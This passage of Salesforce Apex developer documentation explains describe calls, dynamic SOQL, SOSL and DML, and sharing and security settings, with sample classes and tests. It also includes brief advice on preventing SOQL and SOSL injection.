System.assert(dfr.getSObjectField() == Account.Name);

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// Get the describe result from the token

dfr = dfr.getSObjectField().getDescribe();

Note: Field tokens aren't available for person accounts. If you access Schema.Account.fieldname, you get an exception
error. Instead, specify the field name as a string.

Using Field Describe Results

To access the describe result for a field, use one of the following methods:
• Call the getDescribe method on a field token.
• Access the fields member variable of an sObject token with a field member variable (such as Name, BillingCity, and so
on.)
The field describe result uses the data type Schema.DescribeFieldResult.
The following example uses the getDescribe method:
Schema.DescribeFieldResult dfr = Account.Description.getDescribe();

This example uses the fields member variable method:

Schema.DescribeFieldResult dfr = Schema.SObjectType.Account.fields.Name;

In the example above, the system uses special parsing to validate that the final member variable (Name) is valid for the specified sObject
at compile time. When the parser finds the fields member variable, it looks backwards to find the name of the sObject (Account).
It validates that the field name following the fields member variable is legitimate. The fields member variable only works when
used in this manner.

Note: Don’t use the fields member variable without also using either a field member variable name or the getMap method.
For more information on getMap, see the next section.
For more information about the methods available with a field describe result, see DescribeFieldResultClass.

Accessing All Field Describe Results for an sObject

Use the field describe result's getMap method to return a map that represents the relationship between all the field names (keys) and
the field tokens (values) for an sObject.
The following example generates a map that can be used to access a field by name:
Map<String, Schema.SObjectField> fieldMap = Schema.SObjectType.Account.fields.getMap();

Note: The value type of this map is not a field describe result. Using the describe results would take too many system resources.
Instead, it is a map of tokens that you can use to find the appropriate field. After you determine the field, generate the describe
result for it.
The map has the following characteristics:
• It is dynamic, that is, it is generated at runtime on the fields for that sObject.
• All field names are case insensitive.
• The keys use namespaces as required.
• The keys reflect whether the field is a custom object.

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Field Describe Considerations

Note the following when describing fields.
• A field describe that’s executed from within an installed managed package returns Chatter fields even if Chatter is not enabled in
the installing organization. This is not true if the field describe is executed from a class that’s not within an installed managed package.
• When you describe sObjects and their fields from within an Apex class, custom fields of new field types are returned regardless of
the API version that the class is saved in. If a field type, such as the geolocation field type, is available only in a recent API version,
components of a geolocation field are returned even if the class is saved in an earlier API version.

Versioned Behavior Changes

In API version 34.0 and later, Schema.DescribeSObjectResult on a custom SObjectType includes map keys prefixed with the namespace,
even if the namespace is that of currently executing code. If you work with multiple namespaces and generate runtime describe data,
make sure that your code accesses keys correctly using the namespace prefix.

SEE ALSO:
DescribeSObjectResult.fields()
DescribeSObjectResult.fieldsets()

Understanding Describe Information Permissions

Apex classes and triggers run in system mode. Classes and triggers have no restrictions on dynamically looking up any sObject that is
available in the org. You can generate a map of all the sObjects for your org regardless of the current user’s permission, unless you are
executing anonymous Apex.
User permissions matter when you execute describe calls in an anonymous block.. As a result, not all sObjects and fields can be looked
up if access is restricted for the running user. For example, if you describe account fields in an anonymous block and you don’t have
access to all fields, not all fields are returned. However, all fields are returned for the same call in an Apex class.
For more information, see “About API and Dynamic Apex Access in Packages” in Salesforce Help.

SEE ALSO:
Anonymous Blocks
What is a Package?

Describing sObjects Using Schema Method

As an alternative to using tokens, you can describe sObjects by calling the describeSObjects Schema method and passing one
or more sObject type names for the sObjects you want to describe.
This example gets describe metadata information for two sObject types—The Account standard object and the Merchandise__c custom
object. After obtaining the describe result for each sObject, this example writes the returned information to the debug output, such as
the sObject label, number of fields, whether it is a custom object or not, and the number of child relationships.
// sObject types to describe
String[] types = new String[]{'Account','Merchandise__c'};

// Make the describe call

Schema.DescribeSobjectResult[] results = Schema.describeSObjects(types);

System.debug('Got describe information for ' + results.size() + ' sObjects.');

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// For each returned result, get some info

for(Schema.DescribeSobjectResult res : results) {
System.debug('sObject Label: ' + res.getLabel());
System.debug('Number of fields: ' + res.fields.getMap().size());
System.debug(res.isCustom() ? 'This is a custom object.' : 'This is a standard object.');

// Get child relationships

Schema.ChildRelationship[] rels = res.getChildRelationships();
if (rels.size() > 0) {
System.debug(res.getName() + ' has ' + rels.size() + ' child relationships.');
}
}

SEE ALSO:
DescribeSObjectResult.fields()
DescribeSObjectResult.fieldsets()

Describing Tabs Using Schema Methods

You can get metadata information about the apps and their tabs available in the Salesforce user interface by executing a describe call
in Apex. Also, you can get more detailed information about each tab. Use the describeTabs Schema method and the getTabs
method in Schema.DescribeTabResult, respectively.
This example shows how to get the tab sets for each app. The example then obtains tab describe metadata information for the Sales
app. For each tab, metadata information includes the icon URL, whether the tab is custom or not, and colors among others. The tab
describe information is written to the debug output.
// Get tab set describes for each app
List<Schema.DescribeTabSetResult> tabSetDesc = Schema.describeTabs();

// Iterate through each tab set describe for each app and display the info
for(DescribeTabSetResult tsr : tabSetDesc) {
String appLabel = tsr.getLabel();
System.debug('Label: ' + appLabel);
System.debug('Logo URL: ' + tsr.getLogoUrl());
System.debug('isSelected: ' + tsr.isSelected());
String ns = tsr.getNamespace();
if (ns == '') {
System.debug('The ' + appLabel + ' app has no namespace defined.');
}
else {
System.debug('Namespace: ' + ns);
}

// Display tab info for the Sales app

if (appLabel == 'Sales') {
List<Schema.DescribeTabResult> tabDesc = tsr.getTabs();
System.debug('-- Tab information for the Sales app --');
for(Schema.DescribeTabResult tr : tabDesc) {
System.debug('getLabel: ' + tr.getLabel());
System.debug('getColors: ' + tr.getColors());
System.debug('getIconUrl: ' + tr.getIconUrl());

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System.debug('getIcons: ' + tr.getIcons());

System.debug('getMiniIconUrl: ' + tr.getMiniIconUrl());
System.debug('getSobjectName: ' + tr.getSobjectName());
System.debug('getUrl: ' + tr.getUrl());
System.debug('isCustom: ' + tr.isCustom());
}
}
}

// Example debug statement output

// DEBUG|Label: Sales
// DEBUG|Logo URL:
https://MyDomainName.my.salesforce.com/img/seasonLogos/2014_winter_aloha.png
// DEBUG|isSelected: true
// DEBUG|The Sales app has no namespace defined.// DEBUG|-- Tab information for the Sales
app --
// (This is an example debug output for the Accounts tab.)
// DEBUG|getLabel: Accounts
// DEBUG|getColors:
(Schema.DescribeColorResult[getColor=236FBD;getContext=primary;getTheme=theme4;],
// Schema.DescribeColorResult[getColor=236FBD;getContext=primary;getTheme=theme3;],

// Schema.DescribeColorResult[getColor=236FBD;getContext=primary;getTheme=theme2;])
// DEBUG|getIconUrl: https://MyDomainName.my.salesforce.com/img/icon/accounts32.png
// DEBUG|getIcons:
(Schema.DescribeIconResult[getContentType=image/png;getHeight=32;getTheme=theme3;
//
getUrl=https://MyDomainName.my.salesforce.com/img/icon/accounts32.png;getWidth=32;],
// Schema.DescribeIconResult[getContentType=image/png;getHeight=16;getTheme=theme3;
//
getUrl=https://MyDomainName.my.salesforce.com/img/icon/accounts16.png;getWidth=16;])
// DEBUG|getMiniIconUrl: https://MyDomainName.my.salesforce.com/img/icon/accounts16.png
// DEBUG|getSobjectName: Account
// DEBUG|getUrl: https://MyDomainName.my.salesforce.com/001/o
// DEBUG|isCustom: false

Accessing All sObjects

Use the Schema getGlobalDescribe method to return a map that represents the relationship between all sObject names (keys)
to sObject tokens (values). For example:
Map<String, Schema.SObjectType> gd = Schema.getGlobalDescribe();

The map has the following characteristics:

• It is dynamic, that is, it is generated at runtime on the sObjects currently available for the organization, based on permissions.
• The sObject names are case insensitive.
*
• The keys are prefixed with the namespace, if any.
• The keys reflect whether the sObject is a custom object.
*
Starting with Apex saved using Salesforce API version 28.0, the keys in the map that getGlobalDescribe returns are always
prefixed with the namespace, if any, of the code in which it is running. For example, if the code block that makes the
getGlobalDescribe call is in namespace NS1, and a custom object named MyObject__c is in the same namespace, the key

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returned is NS1__MyObject__c. For Apex saved using earlier API versions, the key contains the namespace only if the namespace
of the code block and the namespace of the sObject are different. For example, if the code block that generates the map is in namespace
N1, and an sObject is also in N1, the key in the map is represented as MyObject__c. However, if the code block is in namespace N1,
and the sObject is in namespace N2, the key is N2__MyObject__c.
Standard sObjects have no namespace prefix.

Note: If the getGlobalDescribe method is called from an installed managed package, it returns sObject names and tokens
for Chatter sObjects, such as NewsFeed and UserProfileFeed, even if Chatter is not enabled in the installing organization. This is
not true if the getGlobalDescribe method is called from a class not within an installed managed package.

Accessing All Data Categories Associated with an sObject

Use the describeDataCategoryGroups and describeDataCategoryGroupStructures methods to return the
categories associated with a specific object:
1. Return all the category groups associated with the objects of your choice (see
describeDataCategoryGroups(sObjectNames)).
2. From the returned map, get the category group name and sObject name you want to further interrogate (see
DescribeDataCategoryGroupResult Class).
3. Specify the category group and associated object, then retrieve the categories available to this object (see
describeDataCategoryGroupStructures).
The describeDataCategoryGroupStructures method returns the categories available for the object in the category group
you specified. For additional information about data categories, see “Work with Data Categories” in the Salesforce online help.
In the following example, the describeDataCategoryGroupSample method returns all the category groups associated with
the Article and Question objects. The describeDataCategoryGroupStructures method returns all the categories available
for articles and questions in the Regions category group. For additional information about articles and questions, see “Work with Articles
and Translations” in the Salesforce online help.
To use the following example, you must:
• Enable Salesforce Knowledge.
• Enable the answers feature.
• Create a data category group called Regions.
• Assign Regions as the data category group to be used by Answers.
• Make sure the Regions data category group is assigned to Salesforce Knowledge.
For more information on creating data category groups, see “Create and Modify Category Groups” in the Salesforce online help. For more
information on answers, see “Answers Overview” in the Salesforce online help.

public class DescribeDataCategoryGroupSample {

public static List<DescribeDataCategoryGroupResult> describeDataCategoryGroupSample(){

List<DescribeDataCategoryGroupResult> describeCategoryResult;
try {
//Creating the list of sobjects to use for the describe
//call
List<String> objType = new List<String>();

objType.add('KnowledgeArticleVersion');
objType.add('Question');

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//Describe Call
describeCategoryResult = Schema.describeDataCategoryGroups(objType);

//Using the results and retrieving the information

for(DescribeDataCategoryGroupResult singleResult : describeCategoryResult){
//Getting the name of the category
singleResult.getName();

//Getting the name of label

singleResult.getLabel();

//Getting description
singleResult.getDescription();

//Getting the sobject

singleResult.getSobject();
}
} catch(Exception e){
}

return describeCategoryResult;
}
}

public class DescribeDataCategoryGroupStructures {

public static List<DescribeDataCategoryGroupStructureResult>
getDescribeDataCategoryGroupStructureResults(){
List<DescribeDataCategoryGroupResult> describeCategoryResult;
List<DescribeDataCategoryGroupStructureResult> describeCategoryStructureResult;
try {
//Making the call to the describeDataCategoryGroups to
//get the list of category groups associated
List<String> objType = new List<String>();
objType.add('KnowledgeArticleVersion');
objType.add('Question');
describeCategoryResult = Schema.describeDataCategoryGroups(objType);

//Creating a list of pair objects to use as a parameter

//for the describe call
List<DataCategoryGroupSobjectTypePair> pairs =
new List<DataCategoryGroupSobjectTypePair>();

//Looping throught the first describe result to create

//the list of pairs for the second describe call
for(DescribeDataCategoryGroupResult singleResult :
describeCategoryResult){
DataCategoryGroupSobjectTypePair p =
new DataCategoryGroupSobjectTypePair();
p.setSobject(singleResult.getSobject());
p.setDataCategoryGroupName(singleResult.getName());
pairs.add(p);

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//describeDataCategoryGroupStructures()
describeCategoryStructureResult =
Schema.describeDataCategoryGroupStructures(pairs, false);

//Getting data from the result

for(DescribeDataCategoryGroupStructureResult singleResult :
describeCategoryStructureResult){
//Get name of the associated Sobject
singleResult.getSobject();

//Get the name of the data category group

singleResult.getName();

//Get the name of the data category group

singleResult.getLabel();

//Get the description of the data category group

singleResult.getDescription();

//Get the top level categories

DataCategory [] toplevelCategories =
singleResult.getTopCategories();

//Recursively get all the categories

List<DataCategory> allCategories =
getAllCategories(toplevelCategories);

for(DataCategory category : allCategories) {

//Get the name of the category
category.getName();

//Get the label of the category

category.getLabel();

//Get the list of sub categories in the category

DataCategory [] childCategories =
category.getChildCategories();
}
}
} catch (Exception e){
}
return describeCategoryStructureResult;
}

private static DataCategory[] getAllCategories(DataCategory [] categories){

if(categories.isEmpty()){
return new DataCategory[]{};
} else {
DataCategory [] categoriesClone = categories.clone();
DataCategory category = categoriesClone[0];
DataCategory[] allCategories = new DataCategory[]{category};
categoriesClone.remove(0);

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categoriesClone.addAll(category.getChildCategories());
allCategories.addAll(getAllCategories(categoriesClone));
return allCategories;
}
}
}

Testing Access to All Data Categories Associated with an sObject

The following example tests the describeDataCategoryGroupSample method shown earlier. It ensures that the returned
category group and associated objects are correct.
@isTest
private class DescribeDataCategoryGroupSampleTest {
public static testMethod void describeDataCategoryGroupSampleTest(){
List<DescribeDataCategoryGroupResult>describeResult =
DescribeDataCategoryGroupSample.describeDataCategoryGroupSample();

//Assuming that you have KnowledgeArticleVersion and Questions

//associated with only one category group 'Regions'.
System.assert(describeResult.size() == 2,
'The results should only contain two results: ' + describeResult.size());

for(DescribeDataCategoryGroupResult result : describeResult) {

//Storing the results
String name = result.getName();
String label = result.getLabel();
String description = result.getDescription();
String objectNames = result.getSobject();

//asserting the values to make sure

System.assert(name == 'Regions',
'Incorrect name was returned: ' + name);
System.assert(label == 'Regions of the World',
'Incorrect label was returned: ' + label);
System.assert(description == 'This is the category group for all the regions',
'Incorrect description was returned: ' + description);
System.assert(objectNames.contains('KnowledgeArticleVersion')
|| objectNames.contains('Question'),
'Incorrect sObject was returned: ' + objectNames);
}
}
}

This example tests the describeDataCategoryGroupStructures method. It ensures that the returned category group,
categories and associated objects are correct.
@isTest
private class DescribeDataCategoryGroupStructuresTest {
public static testMethod void getDescribeDataCategoryGroupStructureResultsTest(){
List<Schema.DescribeDataCategoryGroupStructureResult> describeResult =
DescribeDataCategoryGroupStructures.getDescribeDataCategoryGroupStructureResults();

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System.assert(describeResult.size() == 2,
'The results should only contain 2 results: ' + describeResult.size());

//Creating category info

CategoryInfo world = new CategoryInfo('World', 'World');
CategoryInfo asia = new CategoryInfo('Asia', 'Asia');
CategoryInfo northAmerica = new CategoryInfo('NorthAmerica',
'North America');
CategoryInfo southAmerica = new CategoryInfo('SouthAmerica',
'South America');
CategoryInfo europe = new CategoryInfo('Europe', 'Europe');

List<CategoryInfo> info = new CategoryInfo[] {

asia, northAmerica, southAmerica, europe
};

for (Schema.DescribeDataCategoryGroupStructureResult result : describeResult) {

String name = result.getName();
String label = result.getLabel();
String description = result.getDescription();
String objectNames = result.getSobject();

//asserting the values to make sure

System.assert(name == 'Regions',
'Incorrect name was returned: ' + name);
System.assert(label == 'Regions of the World',
'Incorrect label was returned: ' + label);
System.assert(description == 'This is the category group for all the regions',
'Incorrect description was returned: ' + description);
System.assert(objectNames.contains('KnowledgeArticleVersion')
|| objectNames.contains('Question'),
'Incorrect sObject was returned: ' + objectNames);

DataCategory [] topLevelCategories = result.getTopCategories();

System.assert(topLevelCategories.size() == 1,
'Incorrect number of top level categories returned: ' + topLevelCategories.size());

System.assert(topLevelCategories[0].getLabel() == world.getLabel() &&

topLevelCategories[0].getName() == world.getName());

//checking if the correct children are returned

DataCategory [] children = topLevelCategories[0].getChildCategories();
System.assert(children.size() == 4,
'Incorrect number of children returned: ' + children.size());
for(Integer i=0; i < children.size(); i++){
System.assert(children[i].getLabel() == info[i].getLabel() &&
children[i].getName() == info[i].getName());
}
}

private class CategoryInfo {

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private final String name;

private final String label;

private CategoryInfo(String n, String l){

this.name = n;
this.label = l;
}

public String getName(){

return this.name;
}

public String getLabel(){

return this.label;
}
}
}

Dynamic SOQL
Dynamic SOQL refers to the creation of a SOQL string at run time with Apex code. Dynamic SOQL enables you to create more flexible
applications. For example, you can create a search based on input from an end user or update records with varying field names.
To create a dynamic SOQL query at run time, use the Database.query or Database.queryWithBinds methods, in one
of the following ways.
• Return a single sObject when the query returns a single record:

sObject s = Database.query(string);

• Return a list of sObjects when the query returns more than a single record:

List<sObject> sobjList = Database.query(string);

• Return a list of sObjects using a map of bind variables:

List<sObject> sobjList = Database.queryWithBinds(string, bindVariablesMap, accessLevel);

The Database.query and Database.queryWithBinds methods can be used wherever an inline SOQL query can be used,
such as in regular assignment statements and for loops. The results are processed in much the same way as static SOQL queries are
processed.
With API version 55.0 and later, as part of the User Mode for Database Operations feature, use the accessLevel parameter to run
the query operation in user or system mode. The accessLevel parameter specifies whether the method runs in system mode
(AccessLevel.SYSTEM_MODE) or user mode (AccessLevel.USER_MODE). In system mode, the object and field-level
permissions of the current user are ignored, and the record sharing rules are controlled by the class sharing keywords. In user mode, the
object permissions, field-level security, and sharing rules of the current user are enforced. System mode is the default.
Dynamic SOQL results can be specified as concrete sObjects, such as Account or MyCustomObject__c, or as the generic sObject data
type. At run time, the system validates that the type of the query matches the declared type of the variable. If the query doesn’t return
the correct sObject type, a run-time error is thrown. Therefore, you don’t have to cast from a generic sObject to a concrete sObject.
Dynamic SOQL queries have the same governor limits as static queries. For more information on governor limits, see Execution Governors
and Limits on page 326.
For a full description of SOQL query syntax, see Salesforce Object Query Language (SOQL) in the SOQL and SOSL Reference.

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Dynamic SOQL Considerations

You can use simple bind variables in dynamic SOQL query strings when using Database.query. Bind variables in the query must
be within the scope of the database operation. The following is allowed:
String myTestString = 'TestName';
List<sObject> sobjList = Database.query('SELECT Id FROM MyCustomObject__c WHERE Name =
:myTestString');

However, unlike inline SOQL, you can’t use bind variable fields in the query string with Database.query. The following example
isn’t supported and results in a Variable does not exist error.
MyCustomObject__c myVariable = new MyCustomObject__c(field1__c ='TestField');
List<sObject> sobjList = Database.query('SELECT Id FROM MyCustomObject__c WHERE field1__c
= :myVariable.field1__c');

You can instead resolve the variable field into a string and use the string in your dynamic SOQL query:
String resolvedField1 = myVariable.field1__c;
List<sObject> sobjList = Database.query('SELECT Id FROM MyCustomObject__c WHERE field1__c
= :resolvedField1');

(API version 57.0 and later) Another option is to use the Database.queryWithBinds method. With this method, bind variables
in the query are resolved from a Map parameter directly with a key, rather than from Apex code variables. This removes the need for the
variables to be in scope when the query is executed. This example shows a SOQL query that uses a bind variable for an Account name;
its value is passed in with the acctBinds Map.
Map<String, Object> acctBinds = new Map<String, Object>{'acctName' => 'Acme Corporation'};

List<Account> accts =
Database.queryWithBinds('SELECT Id FROM Account WHERE Name = :acctName',
acctBinds,
AccessLevel.USER_MODE);

These considerations apply when using the Map parameter in the Database.queryWithBinds method:
• Although map keys of type String are case-sensitive,the queryWithBinds method doesn’t support Map keys that differ only
in case. In a queryWithBinds method, comparison of Map keys is case-insensitive. If duplicate Map keys exist, the method
throws a runtime QueryException. This example throws this runtime exception: System.QueryException: The
bindMap consists of duplicate case-insensitive keys: [Acctname, acctName].

Map<String, Object> bindVars = new Map<String, Object>{'acctName' => 'Acme Corporation'};

bindVars.put('Acctname', 'Foo');
string query = 'Select Id from Contact where Name like :acctName';

List<Contact> contacts = Database.queryWithBinds(query, bindVars, AccessLevel.USER_MODE);

• Map keys must follow naming standards: they must start with an ASCII letter, can’t start with a number, must not use reserved
keywords, and must adhere to variable naming requirements.
• Although currently supported, Salesforce recommends against using the dot notation with Map keys.

SOQL Injection
SOQL injection is a technique by which a user causes your application to execute database methods you didn’t intend by passing SOQL
statements into your code. This can occur in Apex code whenever your application relies on end-user input to construct a dynamic SOQL
statement and you don’t handle the input properly.

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To prevent SOQL injection, use the escapeSingleQuotes method. This method adds the escape character (\) to all single quotation
marks in a string that is passed in from a user. The method ensures that all single quotation marks are treated as enclosing strings, instead
of database commands.

Additional Dynamic SOQL Methods

The Dynamic SOQL examples in this topic show how to use the Database.query and Database.queryWithBinds methods.
These methods also use Dynamic SOQL:
• Database.countQuery and Database.countQueryWithBinds: Return the number of records that a dynamic SOQL
query would return when executed.
• Database.getQueryLocator and Database.getQueryLocatorWithBinds: Create a QueryLocator object
used in batch Apex or Visualforce.

SEE ALSO:
Apex Reference Guide: System.Database Methods

Dynamic SOSL
Dynamic SOSL refers to the creation of a SOSL string at run time with Apex code. Dynamic SOSL enables you to create more flexible
applications. For example, you can create a search based on input from an end user, or update records with varying field names.
To create a dynamic SOSL query at run time, use the search query method. For example:

List<List <sObject>> myQuery = search.query(SOSL_search_string);

The following example exercises a simple SOSL query string.

String searchquery='FIND\'Edge*\'IN ALL FIELDS RETURNING Account(id,name),Contact, Lead';

List<List<SObject>>searchList=search.query(searchquery);

Dynamic SOSL statements evaluate to a list of lists of sObjects, where each list contains the search results for a particular sObject type.
The result lists are always returned in the same order as they were specified in the dynamic SOSL query. From the example above, the
results from Account are first, then Contact, then Lead.
The search query method can be used wherever an inline SOSL query can be used, such as in regular assignment statements and
for loops. The results are processed in much the same way as static SOSL queries are processed.
Dynamic SOSL queries have the same governor limits as static queries. For more information on governor limits, see Execution Governors
and Limits on page 326.
For a full description of SOSL query syntax, see Salesforce Object Search Language (SOSL) in the SOQL and SOSL Reference.

Use Dynamic SOSL to Return Snippets

To provide more context for records in search results, use the SOSL WITH SNIPPET clause. Snippets make it easier to identify the
content you’re looking for. For information about how snippets are generated, see WITH SNIPPET in the SOQL and SOSL Reference.
To use the SOSL WITH SNIPPET clause in a dynamic SOSL query at run time, use the Search.find method.

Search.SearchResults searchResults = Search.find(SOSL_search_string);

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This example exercises a simple SOSL query string that includes a WITH SNIPPET clause. The example calls System.debug()
to print the returned titles and snippets. Your code would display the titles and snippets in a Web page.
Search.SearchResults searchResults = Search.find('FIND \'test\' IN ALL FIELDS RETURNING
KnowledgeArticleVersion(id, title WHERE PublishStatus = \'Online\' AND Language = \'en_US\')
WITH SNIPPET (target_length=120)');

List<Search.SearchResult> articlelist = searchResults.get('KnowledgeArticleVersion');

for (Search.SearchResult searchResult : articleList) {

KnowledgeArticleVersion article = (KnowledgeArticleVersion) searchResult.getSObject();
System.debug(article.Title);
System.debug(searchResult.getSnippet());
}

SOSL Injection
SOSL injection is a technique by which a user causes your application to execute database methods you did not intend by passing SOSL
statements into your code. A SOSL injection can occur in Apex code whenever your application relies on end-user input to construct a
dynamic SOSL statement and you do not handle the input properly.
To prevent SOSL injection, use the escapeSingleQuotes method. This method adds the escape character (\) to all single quotation
marks in a string that is passed in from a user. The method ensures that all single quotation marks are treated as enclosing strings, instead
of database commands.

Dynamic DML
In addition to querying describe information and building SOQL queries at runtime, you can also create sObjects dynamically, and insert
them into the database using DML.
To create a new sObject of a given type, use the newSObject method on an sObject token. Note that the token must be cast into a
concrete sObject type (such as Account). For example:
// Get a new account
Account a = new Account();
// Get the token for the account
Schema.sObjectType tokenA = a.getSObjectType();
// The following produces an error because the token is a generic sObject, not an Account
// Account b = tokenA.newSObject();
// The following works because the token is cast back into an Account
Account b = (Account)tokenA.newSObject();

Though the sObject token tokenA is a token of Account, it is considered an sObject because it is accessed separately. It must be cast
back into the concrete sObject type Account to use the newSObject method. For more information on casting, see Classes and
Casting on page 114.
You can also specify an ID with newSObject to create an sObject that references an existing record that you can update later. For
example:
SObject s = Database.query('SELECT Id FROM account LIMIT 1')[0].getSObjectType().
newSObject([SELECT Id FROM Account LIMIT 1][0].Id);

See SObjectType Class.

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Dynamic sObject Creation Example

This example shows how to obtain the sObject token through the Schema.getGlobalDescribe method and then creates a
new sObject using the newSObject method on the token. This example also contains a test method that verifies the dynamic creation
of an account.
public class DynamicSObjectCreation {
public static sObject createObject(String typeName) {
Schema.SObjectType targetType = Schema.getGlobalDescribe().get(typeName);
if (targetType == null) {
// throw an exception
}

// Instantiate an sObject with the type passed in as an argument

// at run time.
return targetType.newSObject();
}
}

@isTest
private class DynamicSObjectCreationTest {
static testmethod void testObjectCreation() {
String typeName = 'Account';
String acctName = 'Acme';

// Create a new sObject by passing the sObject type as an argument.

Account a = (Account)DynamicSObjectCreation.createObject(typeName);
System.assertEquals(typeName, String.valueOf(a.getSobjectType()));
// Set the account name and insert the account.
a.Name = acctName;
insert a;

// Verify the new sObject got inserted.

Account[] b = [SELECT Name from Account WHERE Name = :acctName];
system.assert(b.size() > 0);
}
}

Setting and Retrieving Field Values

Use the get and put methods on an object to set or retrieve values for fields using either the API name of the field expressed as a
String, or the field's token. In the following example, the API name of the field AccountNumber is used:
SObject s = [SELECT AccountNumber FROM Account LIMIT 1];
Object o = s.get('AccountNumber');
s.put('AccountNumber', 'abc');

The following example uses the AccountNumber field's token instead:

Schema.DescribeFieldResult dfr = Schema.sObjectType.Account.fields.AccountNumber;
Sobject s = Database.query('SELECT AccountNumber FROM Account LIMIT 1');
s.put(dfr.getsObjectField(), '12345');

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The Object scalar data type can be used as a generic data type to set or retrieve field values on an sObject. This is equivalent to the
anyType field type. Note that the Object data type is different from the sObject data type, which can be used as a generic type for any
sObject.

Note: Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String
value that is too long for the field.

Setting and Retrieving Foreign Keys

Apex supports populating foreign keys by name (or external ID) in the same way as the API. To set or retrieve the scalar ID value of a
foreign key, use the get or put methods.
To set or retrieve the record associated with a foreign key, use the getSObject and putSObject methods. Note that these
methods must be used with the sObject data type, not Object. For example:
SObject c =
Database.query('SELECT Id, FirstName, AccountId, Account.Name FROM Contact LIMIT 1');
SObject a = c.getSObject('Account');

There is no need to specify the external ID for a parent sObject value while working with child sObjects. If you provide an ID in the parent
sObject, it is ignored by the DML operation. Apex assumes the foreign key is populated through a relationship SOQL query, which always
returns a parent object with a populated ID. If you have an ID, use it with the child object.
For example, suppose that custom object C1 has a foreign key C2__c that links to a parent custom object C2. You want to create a C1
object and have it associated with a C2 record named 'AW Computing' (assigned to the value C2__r). You do not need the ID of the
'AW Computing' record, as it is populated through the relationship of parent to child. For example:
insert new C1__c(Name = 'x', C2__r = new C2__c(Name = 'AW Computing'));

If you had assigned a value to the ID for C2__r, it would be ignored. If you do have the ID, assign it to the object (C2__c), not the
record.
You can also access foreign keys using dynamic Apex. The following example shows how to get the values from a subquery in a
parent-to-child relationship using dynamic Apex:
String queryString = 'SELECT Id, Name, ' +
'(SELECT FirstName, LastName FROM Contacts LIMIT 1) FROM Account';
SObject[] queryParentObject = Database.query(queryString);

for (SObject parentRecord : queryParentObject){

Object ParentFieldValue = parentRecord.get('Name');
// Prevent a null relationship from being accessed
SObject[] childRecordsFromParent = parentRecord.getSObjects('Contacts');
if (childRecordsFromParent != null) {
for (SObject childRecord : childRecordsFromParent){
Object ChildFieldValue1 = childRecord.get('FirstName');
Object ChildFieldValue2 = childRecord.get('LastName');
System.debug('Account Name: ' + ParentFieldValue +
'. Contact Name: '+ ChildFieldValue1 + ' ' + ChildFieldValue2);
}
}
}

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Apex Security and Sharing

When you use Apex, the security of your code is critical. You'll need to add user permissions for Apex classes and enforce sharing rules.
Read on to learn about Apex managed sharing and get some security tips.

Enforce Sharing Rules

Apex generally runs in system context, so the current user’s permissions and field-level security aren’t taken into account during
code execution. You can use sharing rules to extend a user’s access to specific records, and then enforce sharing rules by using the
with sharing keyword on a class declaration. If you declare a class with the without sharing keyword, then sharing
rules aren’t enforced.
Enforce Object and Field Permissions
Apex generally runs in system context, so the current user's permissions and field-level security (FLS) aren’t taken into account during
code execution. To enforce the FLS and object permissions of the current user, you can enforce user mode for database operations
and SOQL queries. You can also check the current user's permissions for an object or a field, and then perform a specific DML operation
or a query only if the user has sufficient permissions.
Enforce User Mode for Database Operations
You can run database operations in user mode rather than in the default system mode by using SOQL or SOSL queries with special
keywords or by using DML method overloads.
Enforce Security with the stripInaccessible Method
Use the stripInaccessible method to enforce field-level and object-level data protection. This method can be used to strip
the fields and relationship fields from query and subquery results that the user can’t access. The method can also be used to remove
inaccessible sObject fields before DML operations to avoid exceptions and to sanitize sObjects that have been deserialized from an
untrusted source.
Filter SOQL Queries Using WITH SECURITY_ENFORCED
Use the WITH SECURITY_ENFORCED clause to enable field- and object-level security permissions checking for SOQL SELECT
queries in Apex code, including subqueries and cross-object relationships.
Class Security
Understanding Apex Managed Sharing
Sharing is the act of granting a user or group of users permission to perform a set of actions on a record or set of records. Sharing
access can be granted using the Salesforce user interface and Lightning Platform, or programmatically using Apex.
Security Tips for Apex and Visualforce Development

Enforce Sharing Rules

Apex generally runs in system context, so the current user’s permissions and field-level security aren’t taken into account during code
execution. You can use sharing rules to extend a user’s access to specific records, and then enforce sharing rules by using the with
sharing keyword on a class declaration. If you declare a class with the without sharing keyword, then sharing rules aren’t
enforced.

Note: Apex code that is executed with the executeAnonymous call and Connect in Apex always execute using the sharing
rules of the current user. See Anonymous Blocks on page 242.
Apex developers must take care not to inadvertently expose sensitive data that would normally be hidden from users by user permissions,
field-level security, or organization-wide defaults. They must be particularly careful with Web services, which can be restricted by
permissions, but execute in system context after they’re initiated.

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Most of the time, system context provides the correct behavior for system-level operations such as triggers and Web services that need
access to all data in an organization. However, you can also specify that particular Apex classes should enforce the sharing rules that
apply to the current user.

Note: Enforcing sharing rules by using the with sharing keyword doesn’t enforce the user’s permissions and field-level
security. Apex always has access to all fields and objects in an organization, ensuring that code won’t fail to run because of fields
or objects that are hidden from a user.
This example has two classes, the first class (CWith) enforces sharing rules while the second class (CWithout) doesn’t. The CWithout
class calls a method from the first, which runs with sharing rules enforced. The CWithout class contains an inner class, in which code
executes under the same sharing context as the caller. It also contains a class that extends it, which inherits its without sharing setting.
public with sharing class CWith {
// All code in this class operates with enforced sharing rules.

Account a = [SELECT . . . ];

public static void m() { . . . }

static {
. . .
}

{
. . .
}

public void c() {

. . .
}
}

public without sharing class CWithout {

// All code in this class ignores sharing rules and operates
// as if the context user has the Modify All Data permission.
Account a = [SELECT . . . ];
. . .

public static void m() {

. . .

// This call into CWith operates with enforced sharing rules

// for the context user. When the call finishes, the code execution
// returns to without sharing mode.
CWith.m();
}

public class CInner {

// All code in this class executes with the same sharing context
// as the code that calls it.
// Inner classes are separate from outer classes.
. . .

// Again, this call into CWith operates with enforced sharing rules

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// for the context user, regardless of the class that initially called this inner
class.
// When the call finishes, the code execution returns to the sharing mode that was
used to call this inner class.
CWith.m();
}

public class CInnerWithOut extends CWithout {

// All code in this class ignores sharing rules because
// this class extends a parent class that ignores sharing rules.
}
}

Warning: Because a class declared as with sharing can call a class declared as without sharing, you may still have
to implement class-level security. In addition, all SOQL and SOSL queries that use Pricebook2 ignore the with sharing
keyword. All price books are returned, regardless of the applied sharing rules.
